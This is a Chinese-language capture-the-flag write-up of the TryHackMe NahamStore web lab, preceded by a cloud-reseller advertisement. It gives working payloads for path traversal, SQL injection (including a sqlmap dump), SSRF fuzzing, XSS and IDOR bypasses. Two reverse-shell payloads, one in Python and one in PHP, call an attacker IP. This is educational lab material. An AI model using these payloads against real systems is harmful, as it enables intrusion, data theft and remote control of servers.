TryHackMe-NahamStore(常见web漏洞 大杂烩)
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
NahamStore
- 漏洞赏金
- web安全
NahamStore的创建是为了测试您在NahamSec的“漏洞赏金狩猎和Web应用程序黑客入门”Udemy课程中学到的知识。 部署计算机获得 IP 地址后进入下一步
写在前面
可能我的顺序跟别人以及题目都不太一样有点乱但是这是正常的。
这个房间很有意思涵盖了许多常见web漏洞
设置
要开始挑战您需要在 /etc/hosts 或 c\windows\system32\drivers\etc\hosts 文件指向 您部署的 TryHackMe 盒子。
例如
10.10.110.169 nahamstore.thm
什么时候 枚举子域时应针对 nahamstore.com 域执行该枚举。找到子域后您需要在 /etc/hosts 或 c\windows\system32\drivers\etc\hosts 文件指向 朝向已部署的 TryHackMe 盒子 IP 地址并将.com替换为 。.thm。例如如果您发现子域 whatever.nahamstore.com 您将添加以下条目
10.10.110.169 something.nahamstore.thm
您现在可以在浏览器中查看 http://something.nahamstore.thm。
任务可以按任何顺序执行但我们建议从子域枚举开始。
端口扫描
循例 nmap扫
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
进入80端口的web
LFI
查看源代码首先发现的就是
可能存在文件包含
经过尝试后端仅仅只是过滤掉"点点杠" 并没有禁止访问
因此使用:
....//....//....//....//....//
就可以绕过但是几乎没有权限访问许多文件
题目告诉我们flag在/lfi/flag.txt最终payload:
http://nahamstore.thm/product/picture/?file=....//....//....//....//....//....//lfi/flag.txt
注意flag只有抓包才能看见flag在响应体中
sql injection - 1
主页有两篇东西随便点击去发现可能存在sql注入
存在sql注入题目告诉我们flag在sqli_one表的flag列中直接查看flag
CSRF - 1
后台修改密码处抓包查看很明显这里很可能会导致csrf攻击
CSRF - 2
修改邮箱处
虽然有csrf_token但是后端弱验证只需要将csrf_protect删除一样可以修改成功
CSRF - 3
删除用户处
很明显这里的csrf_token是用base64编码的并且是固定的数值
SQL Injection - 2
后台退货处
随便输了点东西看这个回显看到order number我一下联想到sql注入
果然时间盲注POC:
-1; select * from sqli_two where flag like '{212%' or sleep(5);--
爆字符这种无聊的事情就交给sqlmap去做吧
sqlmap -r ./req -D nahamstore -T sqli_two -C flag --dump
SSRF
在商品的“check stock”按钮发现该请求的参数包含一个域名使用@符绕过成功访问到攻击机
在stock.nahamstore.thm中也没有什么发现
我对着所有子域以及进行了目录扫描均没有发现什么
所以可以猜测stock.nahamstore.thm调用内部的api现在有ssrf我们可以利用其来帮助我们探测内部信息
一开始我直接对着server开冲结果ffuf扫了上百万条都没扫出来
server=stock.nahamstore.thm@FUZZ.nahamstore.thm
然后我又去看看题目
- 应用程序存在 SSRF 漏洞请参阅如何利用它来查看不应可用的 API。
也就是说子域名字包含api但又不是api那么有可能是
xxx-api.nahamstore.thm
然后又开扫又没扫出来然后我打开wireshark发现全是
504 Gateway Time-out
又或者 Bad Gateway
我仔细想了想然后在扫描的过程中访问nahamstore.thm发现也访问不进去了
这时候我懂了扫描变ddos了直接给它给d死了
然后我将ffuf线程数降低到10以下虽然很慢很卡但至少不死至少还有响应回来
成功扫到即internal-api子域
payload:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://nahamstore.thm/stockcheck' -X POST -d 'product_id=2&server=stock.nahamstore.thm@FUZZ-api.nahamstore.thm' -H 'Host: nahamstore.thm' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -t 5
查看internal-api.nahamstore.thm:
{"error":"Unknown Endpoint or Method Requested"}
嗯应该是product/2拼接到了internal-api.nahamstore.thm
我们可以使用#注释掉后面的东西:
product_id=2&server=stock.nahamstore.thm@internal-api.nahamstore.thm#
结果
{"server":"internal-api.nahamstore.com","endpoints":["\/orders"]}
访问/orders
通过这些id访问这些是订单信息题目要求我们找到Jimmy Jones的信用卡号码那就挨个挨个找一下
Open Redirect - 1
在添加地址这里添加的这个包通过参数redirect_url来进行重定向到/basket
IDOR - 1
紧接着在选择已有的地址的时候有一个包存在IDOR
成功越权访问到其他用户的订单
IDOR - 2
紧接着在后台的order查看以购买的商品订单有一个转pdf的功能抓包改包
回显
Order does not belong to this user_id
尝试添加user_id依然不行
这里需要使用%26进行绕过
为什么可以这样做?
通过这张图片其实对这里还有一个疑问为什么这能绕过
我想明白了。
首先/pdf-generator只接收两个参数what和id
所以我们尝试各种传入user_id都没有被正常处理
- 那为什么可以%26绕过呢?
- user_id又是如何被正常解析出来并被处理的呢?
你可能会想/pdf-generator将url参数参数二次解析了,第二次解析的时候将user_id解析了出来
我告诉你对一半既然/pdf-generator只接受what和id说明程序不会从http请求中提取user_id来操作不要求user_id即使二次解析将user_id解析出来又有什么用呢程序又不会使用url参数中的user_id。
那为什么对一半呢因为它确实是二次解析
首先
/pdf-generator的功能并不是由它自身来完成而是像上面ssrf一样调用了某个api来完成相应的操作而api需要user_id
当我们使用%26的时候在/pdf-generator就会被解析为
what=order
id=%26user_id=3
这时候user_id包含在id参数中
当/pdf-generator拿着这两个参数去请求api的时候
what=order&id=&user_id=3
由于一次urldecode这一次user_id被正常拼接到parameters中
最终api将会解析出三个参数api将获得并使用我们传递的user_id
good
Open Redirect - 2
对着nahamstore.thm/?FUZZ=http://baidu.com进行fuzz
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u 'http://nahamstore.thm/?FUZZ=http://baidu.com' -mc 301,302
r [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 254ms]
收工睡觉剩下的漏洞明天再找
XSS - 1
访问marketing.nahamstore.thm随便访问一个不存在的页面返回了/?error通过error回显错误信息
XSS - 2
添加商品到购物车在购物车点击商品会附带name参数查看源代码可以发现该参数控制页面title标签很容易就可以绕过
XSS - 3
购买商品付款这里购买后会显示user agentburp修改ua
XSS - 4
商品退货处查看源代码可以看到被textarea包裹也是简单绕过
</textarea><script>alert('hack');</script>
XSS - 5
访问任意不存在的目录路径会注入到页面中也是简单标签绕过
XSS - 6
主页的搜索表单中查看源代码
</html><script>
var search = ''alert('hack')'';
$.get('/search-products?q=' + search,function(resp){
if( resp.length == 0 ){
$('.product-list').html('<div class="text-center" style="margin:10px">No matching products found</div>');
}else {
$.each(resp, function (a, b) {
$('.product-list').append('<div class="col-md-4">' +
'<div class="product_holder" style="border:1px solid #ececec;padding: 15px;margin-bottom:15px">' +
'<div class="image text-center"><a href="/product?id=' + b.id + '"><img class="img-thumbnail" src="/product/picture/?file=' + b.img + '.jpg"></a></div>' +
'<div class="text-center" style="font-size:20px"><strong><a href="/product?id=' + b.id + '">' + b.name + '</a></strong></div>' +
'<div class="text-center"><strong>$' + b.cost + '</strong></div>' +
'<div class="text-center" style="margin-top:10px"><a href="/product?id=' + b.id + '" class="btn btn-success">View</a></div>' +
'</div>' +
'</div>');
});
}
});
</script>
很明显我们输入的数据被拼接到search变量中通过字符串拼接“+”来达到逃逸引号并且被正常执行的目的
'%2balert('hack');%2b'
注意需要将加号进行urlencode
XSS - 7
在商品页面处
post参数discount没有用处但是把它拿到get请求上来猜测discount从$_REQUEST从取参数将会覆盖掉discount的初始值
但是这里会把单引号和括号给过滤掉我们这里需要使用双引号逃逸如果尝试
很明显这是不行的可以将后面的双引号作为其他参数
这样alert将被成功执行
RCE - 1
对于rce这个站基本上许多功能都看完了应该没有哪里能rce所以我把眼光放到了调用api的那两个页面上
没错又是那个转pdf的功能对着idfuzzing
最终结果是使用反引号就可以执行任意命令
这里通过python来getshellpayload:
what=order&id=5`python3+-c+'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'`
验证想法
还记得昨天的idor吗通过shell我找到了相关代码
我的猜想果然没错
侦察
利用rce查看/etc/hosts发现几个子域
172.17.0.1 nahamstore-2020.nahamstore.thm
172.17.0.1 nahamstore-2020-dev.nahamstore.thm
对着api再扫一波
/api/customers回显
"customer_id is required"
简单枚举一下就可以找到Jimmy Jones的ssn
RCE - 2
8000端口的web什么都没有扫一波
这是一个登录页面弱口令就进去了 admin:admin
很明显能看出这里后台可以编辑marketing子域的页面
修改页面为payload:
<?php
$sock=fsockopen("10.14.39.48",8888);$proc=proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
访问被修改的页面成功getshell:
XXE
我对XXE还是比较陌生所以这里也是看wp学着做的事后去多了解了一下xxe
结束
打了两天回顾了许多当时渗透测试基础path中的web以及owasp top 10我觉得我对xxe还是比较生疏得找几道xxe的题做做。
全程burp suite立大功
整体来讲这个房间真的非常不错前几天我一直不舍得打一直留到现在如果有更多这样的房间那就太好了